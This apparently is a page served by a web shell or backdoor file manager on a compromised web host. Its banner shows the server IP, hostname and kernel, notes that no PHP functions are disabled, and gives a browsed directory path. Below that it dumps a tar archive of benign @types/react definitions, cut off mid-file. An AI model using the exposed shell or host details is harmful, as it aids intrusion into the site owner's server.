uawdijnntqw1x1x1
IP : 216.73.216.110
Hostname : 6.87.74.97.host.secureserver.net
Kernel : Linux 6.87.74.97.host.secureserver.net 4.18.0-553.83.1.el8_10.x86_64 #1 SMP Mon Nov 10 04:22:44 EST 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
emeraadmin
/
.caldav
/
.
/
..
/
public_html
/
node_modules
/
..
/
src
/
..
/
4d695
/
@types.tar
/
/
react/global.d.ts000064400000016316151676730710007720 0ustar00/* React projects that don't include the DOM library need these interfaces to compile. React Native applications use React, but there is no DOM available. The JavaScript runtime is ES6/ES2015 only. These definitions allow such projects to compile with only `--lib ES6`. Warning: all of these interfaces are empty. If you want type definitions for various properties (such as HTMLInputElement.prototype.value), you need to add `--lib DOM` (via command line or tsconfig.json). */ interface Event {} interface AnimationEvent extends Event {} interface ClipboardEvent extends Event {} interface CompositionEvent extends Event {} interface DragEvent extends Event {} interface FocusEvent extends Event {} interface KeyboardEvent extends Event {} interface MouseEvent extends Event {} interface TouchEvent extends Event {} interface PointerEvent extends Event {} interface ToggleEvent extends Event {} interface TransitionEvent extends Event {} interface UIEvent extends Event {} interface WheelEvent extends Event {} interface EventTarget {} interface Document {} interface DataTransfer {} interface StyleMedia {} interface Element {} interface DocumentFragment {} interface HTMLElement extends Element {} interface HTMLAnchorElement extends HTMLElement {} interface HTMLAreaElement extends HTMLElement {} interface HTMLAudioElement extends HTMLElement {} interface HTMLBaseElement extends HTMLElement {} interface HTMLBodyElement extends HTMLElement {} interface HTMLBRElement extends HTMLElement {} interface HTMLButtonElement extends HTMLElement {} interface HTMLCanvasElement extends HTMLElement {} interface HTMLDataElement extends HTMLElement {} interface HTMLDataListElement extends HTMLElement {} interface HTMLDetailsElement extends HTMLElement {} interface HTMLDialogElement extends HTMLElement {} interface HTMLDivElement extends HTMLElement {} interface HTMLDListElement extends HTMLElement {} interface HTMLEmbedElement extends HTMLElement {} interface HTMLFieldSetElement extends HTMLElement {} interface HTMLFormElement extends HTMLElement {} interface HTMLHeadingElement extends HTMLElement {} interface HTMLHeadElement extends HTMLElement {} interface HTMLHRElement extends HTMLElement {} interface HTMLHtmlElement extends HTMLElement {} interface HTMLIFrameElement extends HTMLElement {} interface HTMLImageElement extends HTMLElement {} interface HTMLInputElement extends HTMLElement {} interface HTMLModElement extends HTMLElement {} interface HTMLLabelElement extends HTMLElement {} interface HTMLLegendElement extends HTMLElement {} interface HTMLLIElement extends HTMLElement {} interface HTMLLinkElement extends HTMLElement {} interface HTMLMapElement extends HTMLElement {} interface HTMLMetaElement extends HTMLElement {} interface HTMLMeterElement extends HTMLElement {} interface HTMLObjectElement extends HTMLElement {} interface HTMLOListElement extends HTMLElement {} interface HTMLOptGroupElement extends HTMLElement {} interface HTMLOptionElement extends HTMLElement {} interface HTMLOutputElement extends HTMLElement {} interface HTMLParagraphElement extends HTMLElement {} interface HTMLParamElement extends HTMLElement {} interface HTMLPreElement extends HTMLElement {} interface HTMLProgressElement extends HTMLElement {} interface HTMLQuoteElement extends HTMLElement {} interface HTMLSlotElement extends HTMLElement {} interface HTMLScriptElement extends HTMLElement {} interface HTMLSelectElement extends HTMLElement {} interface HTMLSourceElement extends HTMLElement {} interface HTMLSpanElement extends HTMLElement {} interface HTMLStyleElement extends HTMLElement {} interface HTMLTableElement extends HTMLElement {} interface HTMLTableColElement extends HTMLElement {} interface HTMLTableDataCellElement extends HTMLElement {} interface HTMLTableHeaderCellElement extends HTMLElement {} interface HTMLTableRowElement extends HTMLElement {} interface HTMLTableSectionElement extends HTMLElement {} interface HTMLTemplateElement extends HTMLElement {} interface HTMLTextAreaElement extends HTMLElement {} interface HTMLTimeElement extends HTMLElement {} interface HTMLTitleElement extends HTMLElement {} interface HTMLTrackElement extends HTMLElement {} interface HTMLUListElement extends HTMLElement {} interface HTMLVideoElement extends HTMLElement {} interface HTMLWebViewElement extends HTMLElement {} interface SVGElement extends Element {} interface SVGSVGElement extends SVGElement {} interface SVGCircleElement extends SVGElement {} interface SVGClipPathElement extends SVGElement {} interface SVGDefsElement extends SVGElement {} interface SVGDescElement extends SVGElement {} interface SVGEllipseElement extends SVGElement {} interface SVGFEBlendElement extends SVGElement {} interface SVGFEColorMatrixElement extends SVGElement {} interface SVGFEComponentTransferElement extends SVGElement {} interface SVGFECompositeElement extends SVGElement {} interface SVGFEConvolveMatrixElement extends SVGElement {} interface SVGFEDiffuseLightingElement extends SVGElement {} interface SVGFEDisplacementMapElement extends SVGElement {} interface SVGFEDistantLightElement extends SVGElement {} interface SVGFEDropShadowElement extends SVGElement {} interface SVGFEFloodElement extends SVGElement {} interface SVGFEFuncAElement extends SVGElement {} interface SVGFEFuncBElement extends SVGElement {} interface SVGFEFuncGElement extends SVGElement {} interface SVGFEFuncRElement extends SVGElement {} interface SVGFEGaussianBlurElement extends SVGElement {} interface SVGFEImageElement extends SVGElement {} interface SVGFEMergeElement extends SVGElement {} interface SVGFEMergeNodeElement extends SVGElement {} interface SVGFEMorphologyElement extends SVGElement {} interface SVGFEOffsetElement extends SVGElement {} interface SVGFEPointLightElement extends SVGElement {} interface SVGFESpecularLightingElement extends SVGElement {} interface SVGFESpotLightElement extends SVGElement {} interface SVGFETileElement extends SVGElement {} interface SVGFETurbulenceElement extends SVGElement {} interface SVGFilterElement extends SVGElement {} interface SVGForeignObjectElement extends SVGElement {} interface SVGGElement extends SVGElement {} interface SVGImageElement extends SVGElement {} interface SVGLineElement extends SVGElement {} interface SVGLinearGradientElement extends SVGElement {} interface SVGMarkerElement extends SVGElement {} interface SVGMaskElement extends SVGElement {} interface SVGMetadataElement extends SVGElement {} interface SVGPathElement extends SVGElement {} interface SVGPatternElement extends SVGElement {} interface SVGPolygonElement extends SVGElement {} interface SVGPolylineElement extends SVGElement {} interface SVGRadialGradientElement extends SVGElement {} interface SVGRectElement extends SVGElement {} interface SVGSetElement extends SVGElement {} interface SVGStopElement extends SVGElement {} interface SVGSwitchElement extends SVGElement {} interface SVGSymbolElement extends SVGElement {} interface SVGTextElement extends SVGElement {} interface SVGTextPathElement extends SVGElement {} interface SVGTSpanElement extends SVGElement {} interface SVGUseElement extends SVGElement {} interface SVGViewElement extends SVGElement {} interface FormData {} interface Text {} interface TouchList {} interface WebGLRenderingContext {} interface WebGL2RenderingContext {} interface TrustedHTML {} react/package.json000064400000011745151676730710010155 0ustar00{ "_from": "@types/react@*", "_id": "@types/react@18.3.3", "_inBundle": false, "_integrity": "sha512-hti/R0pS0q1/xx+TsI73XIqk26eBsISZ2R0wUijXIngRK9R/e7Xw/cXVxQK7R5JjW+SV4zGcn5hXjudkN/pLIw==", "_location": "/@types/react", "_phantomChildren": {}, "_requested": { "type": "range", "registry": true, "raw": "@types/react@*", "name": "@types/react", "escapedName": "@types%2freact", "scope": "@types", "rawSpec": "*", "saveSpec": null, "fetchSpec": "*" }, "_requiredBy": [ "/@types/hoist-non-react-statics" ], "_resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.3.tgz", "_shasum": "9679020895318b0915d7a3ab004d92d33375c45f", "_spec": "@types/react@*", "_where": "C:\\xampp\\htdocs\\emeraltd\\node_modules\\@types\\hoist-non-react-statics", "bugs": { "url": "https://github.com/DefinitelyTyped/DefinitelyTyped/issues" }, "bundleDependencies": false, "contributors": [ { "name": "Asana", "url": "https://asana.com" }, { "name": "AssureSign", "url": "http://www.assuresign.com" }, { "name": "Microsoft", "url": "https://microsoft.com" }, { "name": "John Reilly", "url": "https://github.com/johnnyreilly" }, { "name": "Benoit Benezech", "url": "https://github.com/bbenezech" }, { "name": "Patricio Zavolinsky", "url": "https://github.com/pzavolinsky" }, { "name": "Eric Anderson", "url": "https://github.com/ericanderson" }, { "name": "Dovydas Navickas", "url": "https://github.com/DovydasNavickas" }, { "name": "Josh Rutherford", "url": "https://github.com/theruther4d" }, { "name": "Guilherme Hübner", "url": "https://github.com/guilhermehubner" }, { "name": "Ferdy Budhidharma", "url": "https://github.com/ferdaber" }, { "name": "Johann Rakotoharisoa", "url": "https://github.com/jrakotoharisoa" }, { "name": "Olivier Pascal", "url": "https://github.com/pascaloliv" }, { "name": "Martin Hochel", "url": "https://github.com/hotell" }, { "name": "Frank Li", "url": "https://github.com/franklixuefei" }, { "name": "Jessica Franco", "url": "https://github.com/Jessidhia" }, { "name": "Saransh Kataria", "url": "https://github.com/saranshkataria" }, { "name": "Kanitkorn Sujautra", "url": "https://github.com/lukyth" }, { "name": "Sebastian Silbermann", "url": "https://github.com/eps1lon" }, { "name": "Kyle Scully", "url": "https://github.com/zieka" }, { "name": "Cong Zhang", "url": "https://github.com/dancerphil" }, { "name": "Dimitri Mitropoulos", "url": "https://github.com/dimitropoulos" }, { "name": "JongChan Choi", "url": "https://github.com/disjukr" }, { "name": "Victor Magalhães", "url": "https://github.com/vhfmag" }, { "name": "Dale Tan", "url": "https://github.com/hellatan" }, { "name": "Priyanshu Rav", "url": "https://github.com/priyanshurav" }, { "name": "Dmitry Semigradsky", "url": "https://github.com/Semigradsky" }, { "name": "Matt Pocock", "url": "https://github.com/mattpocock" } ], "dependencies": { "@types/prop-types": "*", "csstype": "^3.0.2" }, "deprecated": false, "description": "TypeScript definitions for react", "exports": { ".": { "types@<=5.0": { "default": "./ts5.0/index.d.ts" }, "types": { "default": "./index.d.ts" } }, "./canary": { "types@<=5.0": { "default": "./ts5.0/canary.d.ts" }, "types": { "default": "./canary.d.ts" } }, "./experimental": { "types@<=5.0": { "default": "./ts5.0/experimental.d.ts" }, "types": { "default": "./experimental.d.ts" } }, "./jsx-runtime": { "types@<=5.0": { "default": "./ts5.0/jsx-runtime.d.ts" }, "types": { "default": "./jsx-runtime.d.ts" } }, "./jsx-dev-runtime": { "types@<=5.0": { "default": "./ts5.0/jsx-dev-runtime.d.ts" }, "types": { "default": "./jsx-dev-runtime.d.ts" } }, "./package.json": "./package.json" }, "homepage": "https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react", "license": "MIT", "main": "", "name": "@types/react", "repository": { "type": "git", "url": "git+https://github.com/DefinitelyTyped/DefinitelyTyped.git", "directory": "types/react" }, "scripts": {}, "typeScriptVersion": "4.7", "types": "index.d.ts", "typesPublisherContentHash": "3cc8f3bf94770c52e6e4401f9fccd98a4cf92d22ce46fe76f74f3935593928b6", "typesVersions": { "<=5.0": { "*": [ "ts5.0/*" ] } }, "version": "18.3.3" } react/canary.d.ts000064400000013160151676730710007727 0ustar00/** * These are types for things that are present in the React `canary` release channel. * * To load the types declared here in an actual project, there are three ways. The easiest one, * if your `tsconfig.json` already has a `"types"` array in the `"compilerOptions"` section, * is to add `"react/canary"` to the `"types"` array. * * Alternatively, a specific import syntax can to be used from a typescript file. * This module does not exist in reality, which is why the {} is important: * * ```ts * import {} from 'react/canary' * ``` * * It is also possible to include it through a triple-slash reference: * * ```ts * /// <reference types="react/canary" /> * ``` * * Either the import or the reference only needs to appear once, anywhere in the project. */ // See https://github.com/facebook/react/blob/main/packages/react/src/React.js to see how the exports are declared, import React = require("."); export {}; declare const UNDEFINED_VOID_ONLY: unique symbol; type VoidOrUndefinedOnly = void | { [UNDEFINED_VOID_ONLY]: never }; type NativeToggleEvent = ToggleEvent; declare module "." { export type Usable<T> = PromiseLike<T> | Context<T>; export function use<T>(usable: Usable<T>): T; interface ServerContextJSONArray extends ReadonlyArray<ServerContextJSONValue> {} export type ServerContextJSONValue = | string | boolean | number | null | ServerContextJSONArray | { [key: string]: ServerContextJSONValue }; export interface ServerContext<T extends ServerContextJSONValue> { Provider: Provider<T>; } /** * Accepts a context object (the value returned from `React.createContext` or `React.createServerContext`) and returns the current * context value, as given by the nearest context provider for the given context. * * @version 16.8.0 * @see https://react.dev/reference/react/useContext */ function useContext<T extends ServerContextJSONValue>(context: ServerContext<T>): T; export function createServerContext<T extends ServerContextJSONValue>( globalName: string, defaultValue: T, ): ServerContext<T>; // eslint-disable-next-line @typescript-eslint/ban-types export function cache<CachedFunction extends Function>(fn: CachedFunction): CachedFunction; export function unstable_useCacheRefresh(): () => void; interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS { functions: (formData: FormData) => void; } export interface TransitionStartFunction { /** * Marks all state updates inside the async function as transitions * * @see {https://react.dev/reference/react/useTransition#starttransition} * * @param callback */ (callback: () => Promise<VoidOrUndefinedOnly>): void; } /** * Similar to `useTransition` but allows uses where hooks are not available. * * @param callback An _asynchronous_ function which causes state updates that can be deferred. */ export function startTransition(scope: () => Promise<VoidOrUndefinedOnly>): void; export function useOptimistic<State>( passthrough: State, ): [State, (action: State | ((pendingState: State) => State)) => void]; export function useOptimistic<State, Action>( passthrough: State, reducer: (state: State, action: Action) => State, ): [State, (action: Action) => void]; interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_CALLBACK_REF_RETURN_VALUES { cleanup: () => VoidOrUndefinedOnly; } export function useActionState<State>( action: (state: Awaited<State>) => State | Promise<State>, initialState: Awaited<State>, permalink?: string, ): [state: Awaited<State>, dispatch: () => void, isPending: boolean]; export function useActionState<State, Payload>( action: (state: Awaited<State>, payload: Payload) => State | Promise<State>, initialState: Awaited<State>, permalink?: string, ): [state: Awaited<State>, dispatch: (payload: Payload) => void, isPending: boolean]; interface DOMAttributes<T> { // Transition Events onTransitionCancel?: TransitionEventHandler<T> | undefined; onTransitionCancelCapture?: TransitionEventHandler<T> | undefined; onTransitionRun?: TransitionEventHandler<T> | undefined; onTransitionRunCapture?: TransitionEventHandler<T> | undefined; onTransitionStart?: TransitionEventHandler<T> | undefined; onTransitionStartCapture?: TransitionEventHandler<T> | undefined; } type ToggleEventHandler<T = Element> = EventHandler<ToggleEvent<T>>; interface HTMLAttributes<T> { popover?: "" | "auto" | "manual" | undefined; popoverTargetAction?: "toggle" | "show" | "hide" | undefined; popoverTarget?: string | undefined; onToggle?: ToggleEventHandler<T> | undefined; onBeforeToggle?: ToggleEventHandler<T> | undefined; } interface ToggleEvent<T = Element> extends SyntheticEvent<T, NativeToggleEvent> { oldState: "closed" | "open"; newState: "closed" | "open"; } /** * @internal Use `Awaited<ReactNode>` instead */ // Helper type to enable `Awaited<ReactNode>`. // Must be a copy of the non-thenables of `ReactNode`. type AwaitedReactNode = | ReactElement | string | number | Iterable<AwaitedReactNode> | ReactPortal | boolean | null | undefined; interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_REACT_NODES { promises: Promise<AwaitedReactNode>; bigints: bigint; } } react/LICENSE000064400000002165151676730710006670 0ustar00 MIT License Copyright (c) Microsoft Corporation. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE react/experimental.d.ts000064400000012301151676730710011143 0ustar00/** * These are types for things that are present in the `experimental` builds of React but not yet * on a stable build. * * Once they are promoted to stable they can just be moved to the main index file. * * To load the types declared here in an actual project, there are three ways. The easiest one, * if your `tsconfig.json` already has a `"types"` array in the `"compilerOptions"` section, * is to add `"react/experimental"` to the `"types"` array. * * Alternatively, a specific import syntax can to be used from a typescript file. * This module does not exist in reality, which is why the {} is important: * * ```ts * import {} from 'react/experimental' * ``` * * It is also possible to include it through a triple-slash reference: * * ```ts * /// <reference types="react/experimental" /> * ``` * * Either the import or the reference only needs to appear once, anywhere in the project. */ // See https://github.com/facebook/react/blob/master/packages/react/src/React.js to see how the exports are declared, // and https://github.com/facebook/react/blob/master/packages/shared/ReactFeatureFlags.js to verify which APIs are // flagged experimental or not. Experimental APIs will be tagged with `__EXPERIMENTAL__`. // // For the inputs of types exported as simply a fiber tag, the `beginWork` function of ReactFiberBeginWork.js // is a good place to start looking for details; it generally calls prop validation functions or delegates // all tasks done as part of the render phase (the concurrent part of the React update cycle). // // Suspense-related handling can be found in ReactFiberThrow.js. import React = require("./canary"); export {}; declare const UNDEFINED_VOID_ONLY: unique symbol; type VoidOrUndefinedOnly = void | { [UNDEFINED_VOID_ONLY]: never }; declare module "." { export interface SuspenseProps { /** * The presence of this prop indicates that the content is computationally expensive to render. * In other words, the tree is CPU bound and not I/O bound (e.g. due to fetching data). * @see {@link https://github.com/facebook/react/pull/19936} */ unstable_expectedLoadTime?: number | undefined; } export type SuspenseListRevealOrder = "forwards" | "backwards" | "together"; export type SuspenseListTailMode = "collapsed" | "hidden"; export interface SuspenseListCommonProps { /** * Note that SuspenseList require more than one child; * it is a runtime warning to provide only a single child. * * It does, however, allow those children to be wrapped inside a single * level of `<React.Fragment>`. */ children: ReactElement | Iterable<ReactElement>; } interface DirectionalSuspenseListProps extends SuspenseListCommonProps { /** * Defines the order in which the `SuspenseList` children should be revealed. */ revealOrder: "forwards" | "backwards"; /** * Dictates how unloaded items in a SuspenseList is shown. * * - By default, `SuspenseList` will show all fallbacks in the list. * - `collapsed` shows only the next fallback in the list. * - `hidden` doesn’t show any unloaded items. */ tail?: SuspenseListTailMode | undefined; } interface NonDirectionalSuspenseListProps extends SuspenseListCommonProps { /** * Defines the order in which the `SuspenseList` children should be revealed. */ revealOrder?: Exclude<SuspenseListRevealOrder, DirectionalSuspenseListProps["revealOrder"]> | undefined; /** * The tail property is invalid when not using the `forwards` or `backwards` reveal orders. */ tail?: never | undefined; } export type SuspenseListProps = DirectionalSuspenseListProps | NonDirectionalSuspenseListProps; /** * `SuspenseList` helps coordinate many components that can suspend by orchestrating the order * in which these components are revealed to the user. * * When multiple components need to fetch data, this data may arrive in an unpredictable order. * However, if you wrap these items in a `SuspenseList`, React will not show an item in the list * until previous items have been displayed (this behavior is adjustable). * * @see https://reactjs.org/docs/concurrent-mode-reference.html#suspenselist * @see https://reactjs.org/docs/concurrent-mode-patterns.html#suspenselist */ export const unstable_SuspenseList: ExoticComponent<SuspenseListProps>; // eslint-disable-next-line @typescript-eslint/ban-types export function experimental_useEffectEvent<T extends Function>(event: T): T; type Reference = object; type TaintableUniqueValue = string | bigint | ArrayBufferView; function experimental_taintUniqueValue( message: string | undefined, lifetime: Reference, value: TaintableUniqueValue, ): void; function experimental_taintObjectReference(message: string | undefined, object: Reference): void; export interface HTMLAttributes<T> { /** * @see https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/inert */ inert?: boolean | undefined; } } react/jsx-runtime.d.ts000064400000002264151676730710010742 0ustar00import * as React from "./"; export { Fragment } from "./"; export namespace JSX { type ElementType = React.JSX.ElementType; interface Element extends React.JSX.Element {} interface ElementClass extends React.JSX.ElementClass {} interface ElementAttributesProperty extends React.JSX.ElementAttributesProperty {} interface ElementChildrenAttribute extends React.JSX.ElementChildrenAttribute {} type LibraryManagedAttributes<C, P> = React.JSX.LibraryManagedAttributes<C, P>; interface IntrinsicAttributes extends React.JSX.IntrinsicAttributes {} interface IntrinsicClassAttributes<T> extends React.JSX.IntrinsicClassAttributes<T> {} interface IntrinsicElements extends React.JSX.IntrinsicElements {} } /** * Create a React element. * * You should not use this function directly. Use JSX and a transpiler instead. */ export function jsx( type: React.ElementType, props: unknown, key?: React.Key, ): React.ReactElement; /** * Create a React element. * * You should not use this function directly. Use JSX and a transpiler instead. */ export function jsxs( type: React.ElementType, props: unknown, key?: React.Key, ): React.ReactElement; react/jsx-dev-runtime.d.ts000064400000002604151676730710011514 0ustar00import * as React from "./"; export { Fragment } from "./"; export namespace JSX { type ElementType = React.JSX.ElementType; interface Element extends React.JSX.Element {} interface ElementClass extends React.JSX.ElementClass {} interface ElementAttributesProperty extends React.JSX.ElementAttributesProperty {} interface ElementChildrenAttribute extends React.JSX.ElementChildrenAttribute {} type LibraryManagedAttributes<C, P> = React.JSX.LibraryManagedAttributes<C, P>; interface IntrinsicAttributes extends React.JSX.IntrinsicAttributes {} interface IntrinsicClassAttributes<T> extends React.JSX.IntrinsicClassAttributes<T> {} interface IntrinsicElements extends React.JSX.IntrinsicElements {} } export interface JSXSource { /** * The source file where the element originates from. */ fileName?: string | undefined; /** * The line number where the element was created. */ lineNumber?: number | undefined; /** * The column number where the element was created. */ columnNumber?: number | undefined; } /** * Create a React element. * * You should not use this function directly. Use JSX and a transpiler instead. */ export function jsxDEV( type: React.ElementType, props: unknown, key: React.Key | undefined, isStatic: boolean, source?: JSXSource, self?: unknown, ): React.ReactElement; react/ts5.0/global.d.ts000064400000016316151676730710010571 0ustar00/* React projects that don't include the DOM library need these interfaces to compile. React Native applications use React, but there is no DOM available. The JavaScript runtime is ES6/ES2015 only. These definitions allow such projects to compile with only `--lib ES6`. Warning: all of these interfaces are empty. If you want type definitions for various properties (such as HTMLInputElement.prototype.value), you need to add `--lib DOM` (via command line or tsconfig.json). */ interface Event {} interface AnimationEvent extends Event {} interface ClipboardEvent extends Event {} interface CompositionEvent extends Event {} interface DragEvent extends Event {} interface FocusEvent extends Event {} interface KeyboardEvent extends Event {} interface MouseEvent extends Event {} interface TouchEvent extends Event {} interface PointerEvent extends Event {} interface ToggleEvent extends Event {} interface TransitionEvent extends Event {} interface UIEvent extends Event {} interface WheelEvent extends Event {} interface EventTarget {} interface Document {} interface DataTransfer {} interface StyleMedia {} interface Element {} interface DocumentFragment {} interface HTMLElement extends Element {} interface HTMLAnchorElement extends HTMLElement {} interface HTMLAreaElement extends HTMLElement {} interface HTMLAudioElement extends HTMLElement {} interface HTMLBaseElement extends HTMLElement {} interface HTMLBodyElement extends HTMLElement {} interface HTMLBRElement extends HTMLElement {} interface HTMLButtonElement extends HTMLElement {} interface HTMLCanvasElement extends HTMLElement {} interface HTMLDataElement extends HTMLElement {} interface HTMLDataListElement extends HTMLElement {} interface HTMLDetailsElement extends HTMLElement {} interface HTMLDialogElement extends HTMLElement {} interface HTMLDivElement extends HTMLElement {} interface HTMLDListElement extends HTMLElement {} interface HTMLEmbedElement extends HTMLElement {} interface HTMLFieldSetElement extends HTMLElement {} interface HTMLFormElement extends HTMLElement {} interface HTMLHeadingElement extends HTMLElement {} interface HTMLHeadElement extends HTMLElement {} interface HTMLHRElement extends HTMLElement {} interface HTMLHtmlElement extends HTMLElement {} interface HTMLIFrameElement extends HTMLElement {} interface HTMLImageElement extends HTMLElement {} interface HTMLInputElement extends HTMLElement {} interface HTMLModElement extends HTMLElement {} interface HTMLLabelElement extends HTMLElement {} interface HTMLLegendElement extends HTMLElement {} interface HTMLLIElement extends HTMLElement {} interface HTMLLinkElement extends HTMLElement {} interface HTMLMapElement extends HTMLElement {} interface HTMLMetaElement extends HTMLElement {} interface HTMLMeterElement extends HTMLElement {} interface HTMLObjectElement extends HTMLElement {} interface HTMLOListElement extends HTMLElement {} interface HTMLOptGroupElement extends HTMLElement {} interface HTMLOptionElement extends HTMLElement {} interface HTMLOutputElement extends HTMLElement {} interface HTMLParagraphElement extends HTMLElement {} interface HTMLParamElement extends HTMLElement {} interface HTMLPreElement extends HTMLElement {} interface HTMLProgressElement extends HTMLElement {} interface HTMLQuoteElement extends HTMLElement {} interface HTMLSlotElement extends HTMLElement {} interface HTMLScriptElement extends HTMLElement {} interface HTMLSelectElement extends HTMLElement {} interface HTMLSourceElement extends HTMLElement {} interface HTMLSpanElement extends HTMLElement {} interface HTMLStyleElement extends HTMLElement {} interface HTMLTableElement extends HTMLElement {} interface HTMLTableColElement extends HTMLElement {} interface HTMLTableDataCellElement extends HTMLElement {} interface HTMLTableHeaderCellElement extends HTMLElement {} interface HTMLTableRowElement extends HTMLElement {} interface HTMLTableSectionElement extends HTMLElement {} interface HTMLTemplateElement extends HTMLElement {} interface HTMLTextAreaElement extends HTMLElement {} interface HTMLTimeElement extends HTMLElement {} interface HTMLTitleElement extends HTMLElement {} interface HTMLTrackElement extends HTMLElement {} interface HTMLUListElement extends HTMLElement {} interface HTMLVideoElement extends HTMLElement {} interface HTMLWebViewElement extends HTMLElement {} interface SVGElement extends Element {} interface SVGSVGElement extends SVGElement {} interface SVGCircleElement extends SVGElement {} interface SVGClipPathElement extends SVGElement {} interface SVGDefsElement extends SVGElement {} interface SVGDescElement extends SVGElement {} interface SVGEllipseElement extends SVGElement {} interface SVGFEBlendElement extends SVGElement {} interface SVGFEColorMatrixElement extends SVGElement {} interface SVGFEComponentTransferElement extends SVGElement {} interface SVGFECompositeElement extends SVGElement {} interface SVGFEConvolveMatrixElement extends SVGElement {} interface SVGFEDiffuseLightingElement extends SVGElement {} interface SVGFEDisplacementMapElement extends SVGElement {} interface SVGFEDistantLightElement extends SVGElement {} interface SVGFEDropShadowElement extends SVGElement {} interface SVGFEFloodElement extends SVGElement {} interface SVGFEFuncAElement extends SVGElement {} interface SVGFEFuncBElement extends SVGElement {} interface SVGFEFuncGElement extends SVGElement {} interface SVGFEFuncRElement extends SVGElement {} interface SVGFEGaussianBlurElement extends SVGElement {} interface SVGFEImageElement extends SVGElement {} interface SVGFEMergeElement extends SVGElement {} interface SVGFEMergeNodeElement extends SVGElement {} interface SVGFEMorphologyElement extends SVGElement {} interface SVGFEOffsetElement extends SVGElement {} interface SVGFEPointLightElement extends SVGElement {} interface SVGFESpecularLightingElement extends SVGElement {} interface SVGFESpotLightElement extends SVGElement {} interface SVGFETileElement extends SVGElement {} interface SVGFETurbulenceElement extends SVGElement {} interface SVGFilterElement extends SVGElement {} interface SVGForeignObjectElement extends SVGElement {} interface SVGGElement extends SVGElement {} interface SVGImageElement extends SVGElement {} interface SVGLineElement extends SVGElement {} interface SVGLinearGradientElement extends SVGElement {} interface SVGMarkerElement extends SVGElement {} interface SVGMaskElement extends SVGElement {} interface SVGMetadataElement extends SVGElement {} interface SVGPathElement extends SVGElement {} interface SVGPatternElement extends SVGElement {} interface SVGPolygonElement extends SVGElement {} interface SVGPolylineElement extends SVGElement {} interface SVGRadialGradientElement extends SVGElement {} interface SVGRectElement extends SVGElement {} interface SVGSetElement extends SVGElement {} interface SVGStopElement extends SVGElement {} interface SVGSwitchElement extends SVGElement {} interface SVGSymbolElement extends SVGElement {} interface SVGTextElement extends SVGElement {} interface SVGTextPathElement extends SVGElement {} interface SVGTSpanElement extends SVGElement {} interface SVGUseElement extends SVGElement {} interface SVGViewElement extends SVGElement {} interface FormData {} interface Text {} interface TouchList {} interface WebGLRenderingContext {} interface WebGL2RenderingContext {} interface TrustedHTML {} react/ts5.0/canary.d.ts000064400000013160151676730710010600 0ustar00/** * These are types for things that are present in the React `canary` release channel. * * To load the types declared here in an actual project, there are three ways. The easiest one, * if your `tsconfig.json` already has a `"types"` array in the `"compilerOptions"` section, * is to add `"react/canary"` to the `"types"` array. * * Alternatively, a specific import syntax can to be used from a typescript file. * This module does not exist in reality, which is why the {} is important: * * ```ts * import {} from 'react/canary' * ``` * * It is also possible to include it through a triple-slash reference: * * ```ts * /// <reference types="react/canary" /> * ``` * * Either the import or the reference only needs to appear once, anywhere in the project. */ // See https://github.com/facebook/react/blob/main/packages/react/src/React.js to see how the exports are declared, import React = require("."); export {}; declare const UNDEFINED_VOID_ONLY: unique symbol; type VoidOrUndefinedOnly = void | { [UNDEFINED_VOID_ONLY]: never }; type NativeToggleEvent = ToggleEvent; declare module "." { export type Usable<T> = PromiseLike<T> | Context<T>; export function use<T>(usable: Usable<T>): T; interface ServerContextJSONArray extends ReadonlyArray<ServerContextJSONValue> {} export type ServerContextJSONValue = | string | boolean | number | null | ServerContextJSONArray | { [key: string]: ServerContextJSONValue }; export interface ServerContext<T extends ServerContextJSONValue> { Provider: Provider<T>; } /** * Accepts a context object (the value returned from `React.createContext` or `React.createServerContext`) and returns the current * context value, as given by the nearest context provider for the given context. * * @version 16.8.0 * @see https://react.dev/reference/react/useContext */ function useContext<T extends ServerContextJSONValue>(context: ServerContext<T>): T; export function createServerContext<T extends ServerContextJSONValue>( globalName: string, defaultValue: T, ): ServerContext<T>; // eslint-disable-next-line @typescript-eslint/ban-types export function cache<CachedFunction extends Function>(fn: CachedFunction): CachedFunction; export function unstable_useCacheRefresh(): () => void; interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS { functions: (formData: FormData) => void; } export interface TransitionStartFunction { /** * Marks all state updates inside the async function as transitions * * @see {https://react.dev/reference/react/useTransition#starttransition} * * @param callback */ (callback: () => Promise<VoidOrUndefinedOnly>): void; } /** * Similar to `useTransition` but allows uses where hooks are not available. * * @param callback An _asynchronous_ function which causes state updates that can be deferred. */ export function startTransition(scope: () => Promise<VoidOrUndefinedOnly>): void; export function useOptimistic<State>( passthrough: State, ): [State, (action: State | ((pendingState: State) => State)) => void]; export function useOptimistic<State, Action>( passthrough: State, reducer: (state: State, action: Action) => State, ): [State, (action: Action) => void]; interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_CALLBACK_REF_RETURN_VALUES { cleanup: () => VoidOrUndefinedOnly; } export function useActionState<State>( action: (state: Awaited<State>) => State | Promise<State>, initialState: Awaited<State>, permalink?: string, ): [state: Awaited<State>, dispatch: () => void, isPending: boolean]; export function useActionState<State, Payload>( action: (state: Awaited<State>, payload: Payload) => State | Promise<State>, initialState: Awaited<State>, permalink?: string, ): [state: Awaited<State>, dispatch: 